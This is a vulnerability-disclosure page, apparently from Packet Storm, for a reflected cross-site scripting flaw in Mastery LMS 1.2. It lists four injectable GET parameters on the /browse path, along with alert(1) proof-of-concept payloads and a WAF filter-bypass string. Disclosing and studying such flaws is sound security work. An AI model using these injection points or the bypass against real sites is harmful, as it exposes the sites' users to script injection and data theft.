Mastery LMS 1.2 Cross Site Scripting ≈ Packet Storm

Roger Wilco Exploits 11 juillet 2023 Affichages : 231

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

Mastery LMS 1.2 Cross Site Scripting^[6]: Authored by CraCkEr ^[7]; Mastery LMS version 1.2 suffers from a cross site scripting vulnerability.; SHA-256 | df1ab19ed773ecb611e8af937577fa991f662db9c0116d936263bb36c1c15451; Download ^[8] | Favorite ^[9] | View ^[10]

        # Exploit Title: Mastery LMS 1.2 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 09/07/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/mastery/
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site 
## Description
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.
Path: /browse
GET parameter 'search' is vulnerable to XSS
https://website/browse?search=[XSS]
GET parameter 'featured' is vulnerable to XSS
https://website/browse?featured=[XSS]
GET parameter 'recommended' is vulnerable to XSS
https://website/browse?recommended=[XSS]
GET parameter 'skill' is vulnerable to XSS
https://website/browse?skill=[XSS]
Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> 
XSS Filter Bypass : "><script>alert(1)</script>
[-] Done